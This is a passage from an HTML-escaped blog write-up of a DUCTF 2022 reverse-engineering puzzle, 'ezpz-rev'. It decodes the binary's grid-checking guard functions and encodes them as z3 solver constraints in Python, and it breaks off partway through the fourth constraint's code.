&lt;span class=&quot;token comment&quot;&gt;# Constraint 1: row-wise constraint.&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; i &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;range&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;size&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    s&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;add&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;z3&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Sum&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;inputs&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;size&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;i&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;size&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;i&lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Our simplest constraint is our input constraint. For this program, we’ll limit our symbols to take on only 0s and 1s. Why? Because it is easy for z3 to sum integer symbols. This way, if we want to count the number of 1s in a list, we can just call &lt;code&gt;z3.Sum&lt;/code&gt; on it.&lt;/p&gt;
&lt;p&gt;We then add the constraints of the first guard by selecting groups of 14 elements using Python’s slice notation &lt;code class=&quot;language-py&quot;&gt;inputs&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;size&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;i&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;size&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;i&lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;/code&gt; and constrain it to 3.&lt;/p&gt;
&lt;p&gt;Nifty! Let’s see what the second function looks like.&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Decompiled output of the second guard.&quot; href=&quot;https://trebledj.me/img/posts/ctf/ductf22/assets/ezpz-rev-test2-958w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-75&quot; src=&quot;https://trebledj.me/img/posts/ctf/ductf22/assets/ezpz-rev-test2-958w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 958 / 944&quot; alt=&quot;Decompiled output of the second guard.&quot; title=&quot;Decompiled output of the second guard.&quot; srcset=&quot;https://trebledj.me/img/posts/ctf/ductf22/assets/ezpz-rev-test2-256w.webp 256w, https://trebledj.me/img/posts/ctf/ductf22/assets/ezpz-rev-test2-512w.webp 512w, https://trebledj.me/img/posts/ctf/ductf22/assets/ezpz-rev-test2-958w.webp 958w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, 958px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;This looks surprisingly similar to the first test. In fact, the only thing that really changed is the &lt;em&gt;order&lt;/em&gt; of the loops. Observe how the first function moves along the grid in a row-major fashion, whereas the second function moves in a column-major fashion.&lt;/p&gt;
&lt;div class=&quot;alert alert-info d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-circle-info ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;It may begin to dawn on you that the nested loops are hinting at a grid-like structure, a 14-by-14 2D array of characters. This realisation is pretty crucial, as it’ll help us reverse our last two functions much faster.&lt;/p&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Let’s add these constraints to our solve script:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# Constraint 2: col-wise constraint.&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; i &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;range&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;size&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    s&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;add&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;z3&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Sum&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;inputs&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;i&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;size&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;code&gt;inputs[i::size]&lt;/code&gt; is Python slice notation to iterate beginning from &lt;code&gt;i&lt;/code&gt; and picking every &lt;code&gt;size&lt;/code&gt; elements, e.g. &lt;code class=&quot;language-py&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;token builtin&quot;&gt;range&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;10&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;7&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Onto the next function!&lt;/p&gt;
&lt;h3 id=&quot;the-third-guard-please-wear-your-mask&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/ductf-2022-ezpz-rev/#the-third-guard-please-wear-your-mask&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; The Third Guard: Please Wear Your Mask&lt;/h3&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Decompiled output of the third guard.&quot; href=&quot;https://trebledj.me/img/posts/ctf/ductf22/assets/ezpz-rev-test3-1616w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-95&quot; src=&quot;https://trebledj.me/img/posts/ctf/ductf22/assets/ezpz-rev-test3-1616w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 1616 / 1262&quot; alt=&quot;Decompiled output of the third guard.&quot; title=&quot;Decompiled output of the third guard.&quot; srcset=&quot;https://trebledj.me/img/posts/ctf/ductf22/assets/ezpz-rev-test3-256w.webp 256w, https://trebledj.me/img/posts/ctf/ductf22/assets/ezpz-rev-test3-512w.webp 512w, https://trebledj.me/img/posts/ctf/ductf22/assets/ezpz-rev-test3-1024w.webp 1024w, https://trebledj.me/img/posts/ctf/ductf22/assets/ezpz-rev-test3-1616w.webp 1616w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, (max-width: 1024px) 1024px, 1616px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Using our vectorised 1D representation, we can simplify the above to:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-c&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-c&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;test3&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;char&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; chars&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;char&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; input&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; counter&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;14&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token comment&quot;&gt;// Mask and count characters.&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; i &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; i &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;196&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; i &lt;span class=&quot;token operator&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;input&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;i&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;token char&quot;&gt;&#39;1&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
            counter&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;chars&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;i&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token char&quot;&gt;&#39;a&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;  &lt;span class=&quot;token comment&quot;&gt;// Increment the count of `chars[i]`.&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;token comment&quot;&gt;// Bad bad if a letter doesn&#39;t appear exactly thrice.&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; i &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; i &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;14&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; i&lt;span class=&quot;token operator&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;counter&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;i&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;This initialises an array of 14 integers that serve as counters. This is followed by two loops. In the first loop, we &lt;strong&gt;mask&lt;/strong&gt; the input and initialised characters, then count the number occurrences of each character. In the second loop, we simply check that all counters equal 3, meaning each letter appears exactly three times in the masked string.&lt;/p&gt;
&lt;p&gt;By “mask”, I mean something like &lt;strong&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Bitwise_operation#AND&quot;&gt;bitwise-and&lt;/a&gt;&lt;/strong&gt;, but for characters. For example, &lt;code&gt;abcdefg&lt;/code&gt; masked with &lt;code&gt;1011001&lt;/code&gt; would be &lt;code&gt;a cd  g&lt;/code&gt;, as only those four letters have &lt;code&gt;1&lt;/code&gt; associated with them. Alternatively, you can think of the &lt;code&gt;0&lt;/code&gt;s as masks hiding letters from sight, just like how face masks hide mouths.&lt;/p&gt;
&lt;p&gt;This is the first of the four functions which actually &lt;em&gt;combines&lt;/em&gt; both the user input and the character grid used in initialisation. The previous two functions performed checks only on the user input, but now we begin to see how the two relate.&lt;/p&gt;
&lt;p&gt;Also recall that the letters initialised range from &lt;code&gt;a&lt;/code&gt; to &lt;code&gt;n&lt;/code&gt;, and in fact &lt;code&gt;n&lt;/code&gt; is the 14th letter of the alphabet. &lt;s&gt;14 rows, 14 columns, 14 letters, checking if everything equals 3… seems a little sus. Maybe the challenge authors are hinting at the number 42, &lt;a href=&quot;https://en.m.wikipedia.org/wiki/Phrases_from_The_Hitchhiker%27s_Guide_to_the_Galaxy#Answer_to_the_Ultimate_Question_of_Life,_the_Universe,_and_Everything_(42)&quot;&gt;the answer to life and everything in the universe&lt;/a&gt;? Is this the true reverse behind this challenge?&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;Anyway, let’s try to add these constraints to z3. In proper reverse fashion, instead of first checking the user input like the original function, we’ll start with the letters. We’ll collect the indices containing a letter (say &lt;code&gt;&#39;a&#39;&lt;/code&gt;), then collect all the input symbols associated with those indices, sum them, and constrain them to three.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# Constraint 3: mask constraint.&lt;/span&gt;
letters &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39;abcdefghijklmn&#39;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; l &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; letters&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token comment&quot;&gt;# Find all indices in chars which have letter `l`, then sum the corresponding Int symbols from `inputs`.&lt;/span&gt;
    indices &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;i &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; i&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; c &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;enumerate&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;chars&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; c &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; l&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
    s&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;add&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;z3&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Sum&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;inputs&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;i&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; i &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; indices&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Great! Three down, one to go.&lt;/p&gt;
&lt;h3 id=&quot;the-fourth-guard-wonky-jumps-and-guesswork&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/ductf-2022-ezpz-rev/#the-fourth-guard-wonky-jumps-and-guesswork&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; The Fourth Guard: Wonky Jumps and Guesswork&lt;/h3&gt;
&lt;p&gt;Here&#39;s a snippet of the fourth guard:&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Decompiled output of the fourth guard.&quot; href=&quot;https://trebledj.me/img/posts/ctf/ductf22/assets/ezpz-rev-test4-1548w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-80&quot; src=&quot;https://trebledj.me/img/posts/ctf/ductf22/assets/ezpz-rev-test4-1548w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 1548 / 1300&quot; alt=&quot;Decompiled output of the fourth guard.&quot; title=&quot;Decompiled output of the fourth guard.&quot; srcset=&quot;https://trebledj.me/img/posts/ctf/ductf22/assets/ezpz-rev-test4-256w.webp 256w, https://trebledj.me/img/posts/ctf/ductf22/assets/ezpz-rev-test4-512w.webp 512w, https://trebledj.me/img/posts/ctf/ductf22/assets/ezpz-rev-test4-1024w.webp 1024w, https://trebledj.me/img/posts/ctf/ductf22/assets/ezpz-rev-test4-1548w.webp 1548w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, (max-width: 1024px) 1024px, 1548px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;The first half is understandable... But the rest... Hoh! What an eye sore! What’s the jump doin— I can’t even— ugnahfpwifhlqufjcjwalfhwowjrvkaufjwp.&lt;/p&gt;
&lt;p&gt;As far as my monkey brain understands, the function iterates through every grid cell, and if it equals 1, performs some complicated check in an inner loop. At this point, I tried to understand what the inner loop was doing. Not much success. Looking at the decompiled output, keep in mind that &lt;code&gt;0xfffffff1&lt;/code&gt; is only the &lt;em&gt;unsigned&lt;/em&gt; interpretation. There is also the &lt;em&gt;signed&lt;/em&gt; interpretation, which in this case is -15.&lt;/p&gt;
&lt;p&gt;I then trained my eyes on the other &amp;quot;magic constants&amp;quot; in the inner loop and focused all my reverse powers by staring the numbers down. -1, -15, -14, -13, 1, 15, 14, 13. Hmm…&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Charging... Focusing reverse energy... Ultrascan activated...&quot; href=&quot;https://trebledj.me/img/posts/ctf/ductf22/assets/reverse-ultrascan-577w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-50&quot; src=&quot;https://trebledj.me/img/posts/ctf/ductf22/assets/reverse-ultrascan-577w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 577 / 433&quot; alt=&quot;Squinting meme.&quot; title=&quot;Charging... Focusing reverse energy... Ultrascan activated...&quot; srcset=&quot;https://trebledj.me/img/posts/ctf/ductf22/assets/reverse-ultrascan-256w.webp 256w, https://trebledj.me/img/posts/ctf/ductf22/assets/reverse-ultrascan-512w.webp 512w, https://trebledj.me/img/posts/ctf/ductf22/assets/reverse-ultrascan-577w.webp 577w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, 577px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Ooh! Perhaps it’s checking adjacent cells orthodiagonally (i.e. orthogonal + diagonal)? If you’ve implemented a Minesweeper game before, you’ll know where I’m going :P. Indexing &lt;code&gt;i - 14&lt;/code&gt; would pick the cell above cell &lt;code&gt;i&lt;/code&gt;, since each row is 14 cells wide. Similarly, &lt;code&gt;i + 14&lt;/code&gt; would pick the cell below. &lt;code&gt;i + 15&lt;/code&gt; would pick the bottom-right cell, and &lt;code&gt;i - 1&lt;/code&gt; would pick the left cell. Interesting!&lt;/p&gt;
&lt;p&gt;The other complicated checks, I presume, are out-of-bound checks. For example, if we’re at &lt;code&gt;i == 0&lt;/code&gt; (the top-left corner), then the only adjacent cells are &lt;code&gt;i + 1&lt;/code&gt;, &lt;code&gt;i + 14&lt;/code&gt;, and &lt;code&gt;i + 15&lt;/code&gt;. Anything else would go outside the array. After guessing this, I didn’t bother figuring out whether the decompiled loops actually follow this logic. &lt;s&gt;Terrible software engineering practice, but eh, we’re playing reverse, so might as well try it.&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;To the solver! For each symbol, we’ll add constraints saying, “If this cell is 1, its surrounding cells can’t be 1.” We’ll use &lt;code&gt;z3.Implies&lt;/code&gt; to encode this logic. We only consider cells orthodiagonal to the current cell and within grid bounds.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# Constraint 4: check orthodiagonal adjacents.&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; index&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; sym &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;enumerate&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;inputs&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    x &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; index &lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt; size
    y &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; index &lt;span class=&quot;token operator&quot;&gt;//&lt;/span&gt; size

    &lt;span class=&quot;token comment&quot;&gt;# Build list of adjacent indices. Bounds checking mania.&lt;/span&gt;
    orthodiag &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; y &lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        orthodiag &lt;span class=&quot;token operator&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;14&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; x &lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
            orthodiag &lt;span class=&quot;token operator&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;15&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; x &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt; size &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
